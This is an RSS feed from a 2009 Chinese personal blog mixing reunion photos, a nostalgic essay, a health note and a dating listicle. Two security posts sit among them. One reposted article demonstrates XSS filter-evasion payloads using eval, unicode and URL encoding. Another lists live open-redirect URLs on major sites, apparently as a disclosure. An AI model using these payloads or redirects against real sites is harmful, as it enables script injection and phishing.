        <title><![CDATA[毕业一周年暨寝室聚会(4/6,深圳站)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/3cc2aec2c02d88120ef477f7.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;  话说这毕业刚满1周年，大学时代同寝另外5个人中的3个有时间来趟深圳，周年庆啊。地点：深圳。</p>
<p> 不废话，直接上王道。</p>
<p> </p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/81d1e350f9491e7b1038c286.jpg"></p>
<p>多少年了，这个家伙还是不忘记任何适合展现出自己的&ldquo;型&rdquo;。长的也不咋滴啊，还是像我一样低调比较好。</p>
<p> </p>
<div forimg="1">
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/d035fc24de07d4148744f982.jpg"></p>
<p>还是这个家伙，说什么满怀对中国山寨之都的憧憬之情，一定要来著名的华强北电子商业街转转，本来打算去小梅沙度假村爽一爽，结果就在这路上逛了一下午。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/2845ba7e1ee8bd1f0cd7da83.jpg"></p>
<p>我可怜的床啊。。。5555，已经被搞的不成样子了。</p>
<p>虽然4人斗地主不如5人带狗腿子有意思，但也别有一番情怀，惩罚措施是真心话大冒险。其中的真心话可能在未来多少年甚至下半生都不会再提及；其中的大冒险计划可谓YD+BT，真是一帮禽兽（除了最左边那个）。。。。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/2a759ddd782d75135982dd8c.jpg"></p>
<p>左边的不是孙悟空，右边的确实是我。。。背后是 艾菲尔特塔，就是红警2某个bt版本中会发闪电的那个东西。法国奢侈品。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/9e499fcaf7a37fa1c917688d.jpg"></p>
<p>见佛拜佛总是没有错的。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/71d66f38dabb490497ddd88f.jpg"></p>
<p>这家伙，跟小孩抢秋千。。。禽兽不如。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/076756603dc686f88db10d88.jpg"></p>
<p>王宇打死不进这间屋子喝日本茶。。。顶，铁血真男子。</p>
<p>其实我还是不明白，为什么牌子上写&ldquo;花道&rdquo;？</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/2fb8fa1f3946f5d2e0fe0b89.jpg"></p>
<p>虽然我知道那是及其不文明的，但我还是在这通向泰姬陵的水道中洗了洗手。。。</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/7045435407530573564e008a.jpg"></p>
<p>大家注意，我拿了2瓶红茶，只因为其中的一瓶已经被太阳晒热了。。。不久后便丢掉了</p>
<p> </p>
<div forimg="1">
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/166253826ec708850cf4d28b.jpg"></p>
<p>这老江的题字还是要有的！</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div> <a href="http://hi.baidu.com/harite/blog/item/3cc2aec2c02d88120ef477f7.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/3cc2aec2c02d88120ef477f7.html#comment">查看评论</a>]]></description>
        <pubDate>2009年07月15日 星期三  下午 11:22</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/3cc2aec2c02d88120ef477f7.html</guid>
</item>

<item>
        <title><![CDATA[我记录的那些难忘(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/d674454a4d07542a08f7ef67.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;  在正式入职满1年，也就是毕业1年之际，看到了大学一留级小学弟的离校感言。我跟他是一个寝室的，由于特殊原因他休学一年才成为我的学弟。</p>
<p>&nbsp;&nbsp;&nbsp;  他的这些话语只有一起经历过的人才能明白。我愿跟随它们让自己回到大学时代，那梦绕思绪多的时代。</p>
<p>================================================================================</p>
<p>趁着身上浓郁的酒气还在，<br>
趁着昨晚拥抱的温度还在，<br>
趁着深情的歌声还在耳边萦绕，<br>
趁着放纵的舞姿还在眼前浮现，<br>
我要记录的，<br>
是那些出现过就无法忘却的怀念。</p>
<p><br>
忘不了的，是N老师在咱班敬酒时的豪放，喝酒时湿润的眼眶<br>
忘不了的，是老师和计科3男生吹瓶时的高涨，临走时合影的爽朗<br>
忘不了的，是计科1童鞋们满腔的热情无疆，女生们梦幻的舞姿无双，ZHB老师歌舞兼备的大方<br>
忘不了的，是网3L童鞋烂醉如泥的感伤，抢着和老师拥抱时的昂扬<br>
忘不了的，是网2童鞋贴心的面汤，合声里抱头痛哭的光芒<br>
忘不了的，是怎么也抱不够的拥抱，道不尽的不舍，喝不完的离别酒，唱不完的不了情<br>
忘不了的，是每一个气宇轩昂的童鞋，哭哭笑笑，走走停停，在酒精和泪水中祭奠属于自己的芬芳</p>
<p><br>
还记得大一刚入学时的青涩，和周第一次去学校浴室的新鲜，第一次在心理健康课演讲的紧张<br>
还记得在创新和凯达永无休止的争执，第一次做数模的笨拙，第一次看见胡师兄程序时的羡慕，第一次听到吕师兄传闻时的向往<br>
还记得学生会，第一次编导话剧的理想，第一次登台主演的难忘，胡师姐对我的信任与帮忙<br>
还记得受伤前为了国家一等奖学金，在运动场上跟着马哥拼了命的训练，心底坚定要快过GB的力量<br>
还记得受伤后，办理休学时，GB为我说实话时我内心执着的信仰</p>
<p>还记得临走时，全班童鞋给我送行的拳拳真情，小昕一路送上火车的体贴，路上聊彼此时的悠扬<br>
还记得复学回来，寝室6人第一次通宵唱歌的兴奋，都要独当麦霸的倔强</p>
<p>还记得带给4位女生的礼物，宝愉的米奇发卡，L晨的五彩船袜，小燕儿居家的相框<br>
还记得那年零下17度的冬天，和LM三人爬下水管道去吃巴蜀的狂想，三宝粥店的销魂，无处取暖的凄凉<br>
还记得项目组聚会的谈笑风生，公寓拐角聚会的酣畅淋漓，网041和042爬大黑山的年少轻狂<br>
还记得送凯达去轻轨一路上的难受，听闻双飞哭避而不谈的懦弱，看到小佟写L苑时心情复杂难当</p>
<p>还记得大一深夜斗地主的亢奋，输了脱衣服让6个裸男互相抢被子乐趣非常<br>
还记得输了也会要身披毛巾被，手持笤帚簸箕，在走廊扮演超人的搞笑非常<br>
还记得选傻B斗地主，每轮都有一个傻B蹲在一边观望<br>
还记得周飘逸的傻大木舞姿，宝爷的一脉动，五盘盖饭，李的100杯咖啡，开发区医院的恐慌<br>
还记得小马偷吃面包的猥琐，每天梳头的自恋，发明衣柜自动清洁法的智商，XXX天不洗澡的辉煌<br>
还记得王第一天和我买电话卡被骗的经过，骑车去银行为了验证日元汇率打赌的疯狂<br>
还记得大一在寝室不停挪动床柜的风骚，3张床并排的嚣张<br>
还记得第一个国庆节，小马老家牛肉的美味，9天吃掉无数食物的不良<br>
还记得刚开始卧谈的那些黄段子，李从一而终装13如常<br>
还记得那年暑假，德礼磊哥周杀人游戏的快乐无边，第一次在海里打排球的激昂<br>
还记得那些关键字，大杀器，共产大神，千里牌，狗腿子，无间道，&ldquo;怪我&rdquo;，&ldquo;你买不起&rdquo;，&ldquo;12点之前禁止吹牛逼&rdquo;，&ldquo;人齐有福&rdquo;<br>
还记得夜里睡觉的那些交响乐，小马磨牙，周起夜，李大跳下床，我说梦话（不是普通话、不是芜湖话、不是英语）<br>
还记得99块在东来顺吃的那个HIGH，丰泽居调戏过的服务员MM<br>
还记得&ldquo;离散图论闭包大战&rdquo;，把GB都打傻了~<br>
还记得教会了晓鹏DOTA，从此晓鹏就踏上了不归路。。。<br>
还记得在拐角，每晚熄灯后睡觉前大家都会在走廊里唠一会儿，互相摸摸捏捏，打打闹闹。。</p>
<p>还记得去年的大黑山，国通杀人夜，以及没参加上的发现王国之旅<br>
还记得去年的各种散伙饭，聚的是所剩无几的挥霍，散的是挥之不去的惆怅</p>
<p> </p>
<p>如果可以选择，当年不会那么卖力，为了训练，为了奖学金<br>
如果可以放弃，手术也只是为了日后更珍贵的相遇<br>
如果可以舍得，醒悟就不会姗姗来迟，难以言喻<br>
如果可以重逢，我们今天的别离就是最美好的证据</p>
<p> </p>
<p>如果还有如果</p>
<p> </p>
<p>我从不后悔曾经做过的决定<br>
从不后悔来到05之后经历的种种事情<br>
从不后悔选择了大连民族学院，来到大连这片让我心中开花的圣地<br>
从不后悔遇见的每一个你，我的朋友们，这大学5年里一路走过的点点滴滴<br>
以此记录我们的相识，相知，相惜，这即将封存却难以忘怀的记忆</p>
<p> </p> <a href="http://hi.baidu.com/harite/blog/item/d674454a4d07542a08f7ef67.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/d674454a4d07542a08f7ef67.html#comment">查看评论</a>]]></description>
        <pubDate>2009年06月19日 星期五  下午 11:43</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/d674454a4d07542a08f7ef67.html</guid>
</item>

<item>
        <title><![CDATA[JavaScript for hackers(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/3cc2aec27022d8120ef477ff.html]]></link>
        <description><![CDATA[
		
		<p>From  <a href="http://dev.opera.com/articles/view/opera- -for-hackers-1/">http://dev.opera.com/articles/view/opera-javascript-for-hackers-1/</a></p>
<p>========================================================================================</p>
<h1 class="title">JavaScript for hackers</h1>
<p class="by">By <a href="http://dev.opera.com/author/1971445">garethheyes</a> · 22 Apr, 2009</p>
<p class="tags">Published in: <a href="http://dev.opera.com/articles/tags/xss/" rel="tag">xss</a>, <a href="http://dev.opera.com/articles/tags/ /" rel="tag">javascript</a>, <a href="http://dev.opera.com/articles/tags/getter/" rel="tag">getter</a>, <a href="http://dev.opera.com/articles/tags/filters/" rel="tag">filters</a>, <a href="http://dev.opera.com/articles/tags/regex/" rel="tag">regex</a></p>
<div class="article">
<h2>Introduction</h2>
<p>I love to use JavaScript in unexpected ways, to create code that looks like it shouldn't work but does, or produces some unexpected behavior. This may sound trivial, but the results I've found lead to some very useful techniques. Each of the techniques described can be used for XSS filter evasion, which was my original intention when developing them. However, learning such JavaScript can dramatically increase your knowledge of the language, helping you become better at cleaning up input, and increase web application security.</p>
<p>So read on and enjoy my weird and wonderful JavaScript hacks.</p>
<h2>RegExp replace can execute code</h2>
<p>When using regular expressions with <code><font face="NSimsun">replace</font></code> the second argument supports a function assignment. In Opera it seems you can use this argument to execute code. For example, check out the code snippet below:</p>
<pre><code>'XSS'.replace(/XSS/g,alert)</code></pre>
<p>This results in <code><font face="NSimsun">alert('XSS')</font></code>; this works because the match from the RegExp is passed to the <code><font face="NSimsun">alert</font></code> function as an argument. Normally you would use a function to perform another routine on the matched text, like so:</p>
<pre><code>'somestring'.replace(/some/,function($1){//do something with some})</code></pre>
<p>But as you can see in the first example in this section, instead of a user defined function we are executing a native <code><font face="NSimsun">alert</font></code> call, and the arguments are passed to the native call from the regular expression. It's a cool trick and could be used to evade some XSS filters, for example if you inject a string then proceed with a dot you can then call any function you like.</p>
<p>To see how this is used in a XSS context, imagine we have an unfiltered <code><font face="NSimsun">&quot;</font></code> in the string in which an injection occurs, such as a JavaScript event or a script tag. First we inject our payload <code><font face="NSimsun">alert(1)</font></code>, then we break out of the quotes - <code><font face="NSimsun">&quot;</font></code> - and continue our regular expression:</p>
<pre><code>.replace(/.+/,eval)//</code></pre>
<p>Notice I use <code><font face="NSimsun">eval</font></code> here to execute any code I like and the regular expression matches everything so that the full payload is passed to <code><font face="NSimsun">eval</font></code>.</p>
<p>If I put all the code together and show you the output of the page it is easier to understand what is going on:</p>
<p>Page output:</p>
<pre><code>&lt;script&gt;somevariableUnfiltered=&quot;YOUR INPUT&quot;&lt;/script&gt;</code></pre>
<p>The above code is common in analytics scripts where your search string is stored by an advertising company. You often don't see these scripts but if you view the source of a web page you'll find that they are a regular occurrence; forums are another place where they are prevalent. &quot;YOUR INPUT&quot; is the string you have control of; this is also referred to as <em>DOM based XSS</em> if the input isn't filtered correctly.</p>
<p>Input:</p>
<code><font face="NSimsun">alert(1)&quot;.replace(/.+/,eval)//</font></code>
<p>Resulting output:</p>
<code><font face="NSimsun">&lt;script&gt;somevariableUnfiltered=&quot;alert(1)&quot;.replace(/.+/,eval)//&quot;&lt;/script&gt;</font></code>
<p>Notice the single line comment used to remove the trailing quote.</p>
<h2>Unicode escapes</h2>
<p>Although it's not possible to use parentheses when escaping unicode characters, you can escape the name of the function being called, for example:</p>
<pre><code>\u0061\u006c\u0065\u0072\u0074(1)</code></pre>
<p>This calls <code><font face="NSimsun">alert(1)</font></code>; <code><font face="NSimsun">\u</font></code> indicates it's a unicode escape and the hex number after specifies the character. <code><font face="NSimsun">\u0061</font></code> is &quot;a&quot; and so on.</p>
<p>Mixing and matching unicode escapes is possible with normal characters; the example below demonstrates this:</p>
<pre><code>\u0061lert(1)</code></pre>
<p>You can also include them in strings and even evaluate them using <code><font face="NSimsun">eval</font></code>. Unicode escapes are different to normal hex or octal escapes because they can be included in a string, or a reference to a function, variable or object.</p>
<p>The example below shows how to use unicode escapes that are evaluated and split into separate parts:</p>
<pre><code>eval('\\u'+'0061'+'lert(1)')</code></pre>
<p>By avoiding normal function names like <code><font face="NSimsun">alert</font></code>, we can fool XSS filters into injecting our code. This very example was used to bypass PHPIDS (an open source IDS system), which resulted in the rules subsequently being made much stronger. If you are considering decoding JavaScript for malware analysis at runtime you need to consider the possible ways that multiple levels of encoding can work; as you can see from this example it won't be a easy task.</p>
<h2>JavaScript parser engine</h2>
<p>JavaScript is a very dynamic language. It can execute a surprising amount of code that at first glance doesn't look valid, however once you know how the parsers work, you begin to understand the logic behind it.</p>
<p>JavaScript doesn't know the result of a function until it is executed, and obviously it has to call the function to return the variable type. This leads to an interesting quirk - for example, if the returning function doesn't return a valid value for the code block, a syntax error will occur after the execution of the function.</p>
<p>What does this mean in English? Well, code speaks louder than words - check this example out</p>
<pre><code>+alert(1)--</code></pre>
<p>The alert function executes and returns undefined but by that time it is too late - the decrement operator is expecting a number and therefore raises an error.</p>
<p>Here's a few more valid examples that don't raise errors but are interesting nevertheless.</p>
<pre><code>+alert(1)
1/alert(1)
alert(1)&gt;&gt;&gt;/abc/</code></pre>
<p>You might think the above examples are pointless but in fact they offer great insight into how Javascript works. Once you understand the small details the bigger picture becomes clear and the way that your code executes can help you understand how the parser works. I find these sort of examples useful when tracking down syntax errors and DOM based XSS, and exploiting XSS Filters.</p>
<h2>Throw, Delete what?</h2>
<p>You can use the <code><font face="NSimsun">delete</font></code> operator in ways that you wouldn't at first expect, which results in some pretty wacky syntax. Lets see what happens if we combine the <code><font face="NSimsun">throw</font></code>, <code><font face="NSimsun">delete</font></code>, <code><font face="NSimsun">not</font></code> and <code><font face="NSimsun">typeof</font></code> operators?</p>
<pre><code>throw delete~typeof~alert(1)</code></pre>
<p>Even though you'd think it couldn't possibly work, it's possible to call <code><font face="NSimsun">delete</font></code> on a function call and it still executes:</p>
<pre><code>delete alert(1)</code></pre>
<p>Here are a few more examples</p>
<pre><code>delete~[a=alert]/delete a(1)
delete [a=alert],delete a(1)</code></pre>
<p>At first glance you'd think that they would raise a syntax error but when examining the code further it sorta makes sense. The parser finds a variable assignment first within a array, performs the assignment and then deletes the array. Likewise the delete is performed after a function call because it needs to know the result of the function before it can delete the returned object, even if it is null.</p>
<p>Again these examples have been used to defeat XSS filters because they are often trying to match valid syntax and they don't expect the obscure nature of the code. You should consider such examples when programming your application data validation.</p>
<h2>Global objects are statements</h2>
<p>In certain instances of XSS filter evasion, it can be useful to send English-like text hidden within a vector. Clever systems like PHPIDS use English and vector comparisons to determine if a request is an attack or not, so it is a useful way to test these systems.</p>
<p>Using global objects/functions on their own can produce English-like code blocks. In fact, on the <a href="http://sla.ckers.org/">sla.ckers</a> security forum we had a little game to produce English-like sentences in JavaScript. To get an idea of how it works, check out the following example:</p>
<pre><code>stop, open, print &amp;&amp; alert(1)</code></pre>
<p>I coined the name Javascriptlish because it's possible to produce some crazy looking code:</p>
<pre><code>javascript : /is/^{ a : ' weird ' }[' &amp; wonderful ']/&quot; language &quot;
the_fun: ['never '] + stop['s']</code></pre>
<p>We use the regular expression <code><font face="NSimsun">/is/</font></code> with the operator <code><font face="NSimsun">^</font></code> and then create a object <code><font face="NSimsun">{ a : 'weird'}</font></code> (which has a property <code><font face="NSimsun">a</font></code> and an assignment of <code><font face="NSimsun">weird</font></code>.) Then we look for a property <code><font face="NSimsun">' &amp; wonderful '</font></code> within the object we just created, which is then divided by a string of <code><font face="NSimsun">language</font></code>.</p>
<p>Next we use a label called <code><font face="NSimsun">the_fun</font></code> and an array with <code><font face="NSimsun">never </font></code>, use a global function called <code><font face="NSimsun">stop</font></code> and check for a property of <code><font face="NSimsun">s</font></code> ... all of which is valid syntax.</p>
<h2>Getters/Setters fun</h2>
<p>When Firefox added the <a href="http://ejohn.org/blog/ -getters-and-setters/">custom syntax for setters</a> it enabled some interesting XSS vectors that didn't use parentheses. Opera doesn't support a custom syntax yet - this is good from a security point of view but not from a JavaScript hacker's perspective.</p>
<p>Opera does however support the standard <code><font face="NSimsun">defineSetter</font></code> syntax. This enables us to call functions via assignments, which still has some use for XSS filter evasion:</p>
<pre><code>defineSetter('x',alert); x=1;</code></pre>
<p>In case you're not aware of setters/getters, the example above creates a setter for the global variable <code><font face="NSimsun">x</font></code>. A setter is called whenever a variable is set with something and the argument is supplied from whatever has been assigned. The second argument is the function to be called on assignment, which is <code><font face="NSimsun">alert</font></code>. Then, when <code><font face="NSimsun">x</font></code> is assigned the value of <code><font face="NSimsun">1</font></code>, the alert function is called with <code><font face="NSimsun">1</font></code> as the argument.</p>
<h2>Location allows url encoding</h2>
<p>The <code><font face="NSimsun">location</font></code> object allows url encoding within the JavaScript code. This allows you to further obfuscate XSS vectors by double encoding them.</p>
<pre><code>location='javascript:%61%6c%65%72%74%28%31%29'</code></pre>
<p>Combining them with unicode escapes can hide strings quite nicely:</p>
<pre><code>location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'</code></pre>
<p>The first example works because the URL bar in Opera accepts urlencoded strings - you can hide JavaScript syntax by url encoding it. This is useful because when it is passed within a XSS vector you can double url encode it to help further with filter evasion.</p>
<p>The second example combines the first technique with the unicode escape technique mentioned previously. So when you decode the string it results in the unicode representation of <code><font face="NSimsun">alert</font></code> which is <code><font face="NSimsun">\u0061\u006c\u0065\u0072\u0074</font></code>.</p>
<h2>Hackvertor: Your second brain</h2>
<p>As a JavaScript hacker I couldn't possibly remember every single encoding method that's possible with JavaScript, so I decided to create a open source tool to do the hard work for me. In the last example the string is double encoded, which can sometimes make it hard to understand. Using my <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=bG9jYXRpb249J2phdmFzY3JpcHQ6PEBkX3VuaV83PjxAZF9lbmNfNj4lNWMlNzUlMzAlMzAlMzYlMzElNWMlNzUlMzAlMzAlMzYlNjMlNWMlNzUlMzAlMzAlMzYlMzUlNWMlNzUlMzAlMzAlMzclMzIlNWMlNzUlMzAlMzAlMzclMzQ8QC9kX2VuY182PjxAL2RfdW5pXzc%2BKDEpJw%3D%3D">Hackvertor tool makes it a piece of cake</a> and it works nicely in Opera too.</p>
<p>Hackvertor works by using tags to perform multiple levels of conversion; this is similar to HTML tags but it runs code instead of changing the display of the containing text. It converts from the innermost tag outwards, eg to convert the last vector it url decodes and then decodes the unicode escapes, which results in <code><font face="NSimsun">javascript:alert(1)</font></code>.</p>
</div>
<p> </p> <a href="http://hi.baidu.com/harite/blog/item/3cc2aec27022d8120ef477ff.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/3cc2aec27022d8120ef477ff.html#comment">查看评论</a>]]></description>
        <pubDate>2009年06月16日 星期二  下午 08:57</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/3cc2aec27022d8120ef477ff.html</guid>
</item>

<item>
        <title><![CDATA[终于来了]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/b7a5ddcaa257a44ef21fe798.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  话说最近1、2个月里，总感觉睡眠质量非常不好。隐隐感觉腰部睡觉时总有疼痛。昨晚更是厉害，11点就上床睡觉了，可以一晚上愣是几乎没睡着，必须反反复复的翻身，不然腰部就巨痛。太猛烈了，实在扛不住了。上午请假去医院做了检查，发现是腰突炎。咳。。。传说中的&ldquo;白领病&rdquo;，我就纳闷了，我也不是&ldquo;白领&rdquo;啊，也得这病，555555</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  跟奋斗在行业第一线的同胞们传递一下感受，平时一定要注意身体锻炼，特别是常坐办公室的各位，一定要&ldquo;忌久坐，忌久站&rdquo;。常做下腰部颈部保健操。不然。。。不论以前身体有多好，都会是一个巨大的隐患。医生的话&ldquo;吓&rdquo;到了我，不知道我的话有没有&ldquo;吓&rdquo;到你呢？</p> <a href="http://hi.baidu.com/harite/blog/item/b7a5ddcaa257a44ef21fe798.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/b7a5ddcaa257a44ef21fe798.html#comment">查看评论</a>]]></description>
        <pubDate>2009年05月12日 星期二  上午 11:03</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/b7a5ddcaa257a44ef21fe798.html</guid>
</item>

<item>
        <title><![CDATA[几个大站的CGI“跳转漏洞”]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/d03606339ac999f01a4cff88.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;  近期发现一些恶意URL通过以下几个大站的CGI&ldquo;跳转漏洞&rdquo;进行传播，也许他们该检查一下自己的cgi程序了，应该做一些限制，谁都不想漫天的欺诈挂马的域名看起来都是 正规网站。</p>
<p>PS:有些是收费广告链接，那就不说啥了，好好赚钱吧。</p>
<p>和讯跳转<br>
<a href="http://wizard.stock.hexun.com/other/tj.aspx?p=135&amp;url=http://hi.baidu.com/harite">http://wizard.stock.hexun.com/other/tj.aspx?p=135&amp;url=http://hi.baidu.com/harite</a></p>
<p> </p>
<p>51统计跳转<br>
<a href="http://tj.51.com/?formType=3201&amp;go=1&amp;url=http://hi.baidu.com/harite">http://tj.51.com/?formType=3201&amp;go=1&amp;url=http://hi.baidu.com/harite</a></p>
<p> </p>
<p>sohu跳转<br>
<a href="http://doc.go.sohu.com/200803/eabe8074ec19493e28518d97dcffc66d.php?url=http://hi.baidu.com/harite">http://doc.go.sohu.com/200803/eabe8074ec19493e28518d97dcffc66d.php?url=http://hi.baidu.com/harite</a></p>
<p><a href="http://adc.go.sohu.com/200701/eaf743c3305b93fb4b50889ed398f0fc.php?url=http://hi.baidu.com/harite">http://adc.go.sohu.com/200701/eaf743c3305b93fb4b50889ed398f0fc.php?url=http://hi.baidu.com/harite</a></p>
<p> </p>
<p>mop分页，引入任意frame<br>
<a href="http://tt.mop.com/main.jsp?url=http://hi.baidu.com/harite">http://tt.mop.com/main.jsp?url=http://hi.baidu.com/harite</a></p>
<p> </p>
<p>网易163网站跳转<br>
<a href="http://pro.163.com////event.ng/Type=&amp;Redirect=http://hi.baidu.com/harite">http://%70ro.163.com/\/\event.ng/Type=&amp;Redirect=http://hi.baidu.com/harite</a></p>
<p>ChinaZ统计系统网站跳转(302协议跳转)<br>
<a href="http://alexa.chinaz.com/redirect.asp?id=url=httep://bsog.cn/index.asp=&amp;url=hi.baidu.com/harite">http://alexa.chinaz.com/redirect.asp?id=url=httep://bsog.cn/index.asp=&amp;url=hi.baidu.com/harite</a></p>
<p>优酷跳转<br>
<a href="http://hz.youku.com/red/click.php?tp=1&amp;cp=2009185&amp;cpp=1000093&amp;url=http://hi.baidu.com/harite">http://hz.youku.com/red/click.php?tp=1&amp;cp=2009185&amp;cpp=1000093&amp;url=http://hi.baidu.com/harite</a></p>
<p> </p>
<p> </p>
<p>其他还有博客之类的很多，但影响力低于以上。</p>
<p>如果你有渠道通知他们修正，那是万分感谢的 :-)</p> <a href="http://hi.baidu.com/harite/blog/item/d03606339ac999f01a4cff88.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/d03606339ac999f01a4cff88.html#comment">查看评论</a>]]></description>
        <pubDate>2009年04月17日 星期五  上午 10:12</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/d03606339ac999f01a4cff88.html</guid>
</item>

<item>
        <title><![CDATA[值得深交的十六种女孩(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/2fb8fa1fbed57afde1fe0b3f.html]]></link>
        <description><![CDATA[
		
		<h1 style="font-size: 18px; margin-bottom: 8px"><font color="#0000ff">值得深交的十六种女孩</font></h1>
<p><font size="4"><font color="#0000ff">1.她很想陪着你，即使是在网上，一句话都不说。你开心的时候，她很想在你身边看到你微笑的样子。你失落的时候，她第一时间在你旁边安慰你，想破脑袋想帮你。你熬夜到很晚，她的QQ或者msn陪你一起亮着。如果你下线了，再登录一看，她的头像就暗了。你知道吗？她熬到那么晚只是在等你。<br>
<br>
2.懂事，知道什么时候该撒娇，什么时候该像爱小孩子一样疼惜你。如果你是个学生，她不会任性地要求你翘课陪她逛街，不会让没有经济来源的你买奢侈品。如果你已经工作，她不会埋怨你忘记打电话给他，不会在你工作烦心的时候要你甜言蜜语，即使自己心情再不好，也会轻轻拥着你，始终站在你这边。<br>
</font><br>
<font color="#0000ff">3.不放过任何与你有关的信息，融入你的生活圈，朋友圈。结识你的朋友，链接任何在你空间留言的朋友的页面，看你喜欢的电影和书，去你喜欢的餐厅，逛你喜欢的品牌店，甚至笨拙地模仿你欣赏的异性类型。她不是不够好，而是想变得更好，更适合你，更容易得到你的认可和赞许。</font><br>
<br>
<font color="#0000ff">4.她绝不会在你同事同学家人朋友面前提你的缺点，嘲笑你，哪怕只是玩笑。她可能觉得你这么做那样做不对，但会给足你男人需要的面子，帮你打圆场，帮你找台阶下，只晒幸福，只说你的好。 </font><br>
<br>
</font><font size="4"><font color="#0000ff">5.她需要你的肩膀，但是绝不会凡事都依赖你。她在你面前很弱势，常常需要你来把持局面。不是她笨，只是喜欢在你面前装傻，喜欢被你照顾。但她不会粘着你，把你当保姆，该独立的时候她可以一个人。 <br>
<br>
6.她不会总是要求你先让步。男生要懂得包容和迁就，不是因为她是女人，而是因为你是男人。但她绝不会因此被宠坏而从头至尾都等着你主动向她道歉，而是会很小心翼翼地跟你撒娇，求得你的原谅。<br>
<br>
7.她发给你的短信几乎不会有错别字，不会有歧义。她很注重跟你在一起时的一切细节，连发消息之前都会反复确认好几遍，措词，语气，甚至表情。 <br>
<br>
8.她和你朋友一起聚会时候会打扮得漂亮但不会妖艳，只会在你面前偶尔穿很火辣的衣服。她永远会把你与其他男生区别对待，而不是总是孔雀开屏般向所有人展示美丽。<br>
<br>
9.看到女人围着你转，她会吃醋，那些女人很优秀，她更容易吃醋，但是不会无理取闹，兴师问罪。她关心你，在乎你，想要抓住你。只要你肯耐下心，不要吝惜让她安心的话。她需要的只是一句别人听不到只有她能听的话。<br>
<br>
10.她也许会有很多异性朋友，也许不乏追求者，但是她会明确告诉他们她喜欢的是你，而且不会拿这些人的优点跟你作比较。她会时不时告诉你谁谁谁要追她，看到你紧张的表情，会很满足地加一句，我心里只会有你一个人o(∩_∩)o…不是她无聊，她很需要被重视。 <br>
<br>
11.好女孩还是孝顺的。她不仅懂得孝顺自己的父母，还懂得尊老爱幼，把自己的温柔和细腻发挥到淋漓尽致，让人如沐春风。<br>
<br>
12.好女孩懂得尊重感情。真正好的女孩无论是不是曾经被感情伤害，都不带怨恨，从来不说前男友的坏话。把过去，无论痛苦还是甜蜜的回忆都深藏在自己的心里，当成一种成长，一种历练。<br>
<br>
13.好女孩天真里带有一丝童趣。总能以最纯洁且友善的眼光去看待别人。在她们的眼里，是不乏美丽的，因为她们的目光只是追逐美丽，不会为丑陋侵袭。<br>
<br>
14.好女孩喜欢听舒缓的音乐，不泡吧，不熬夜。把生活打理的安静而甜蜜，把每一份爱情当成一生的爱情来经营。每一次的投入都是彻底的，每一次的离开都是干脆的。她们既温柔，也勇敢。<br>
<br>
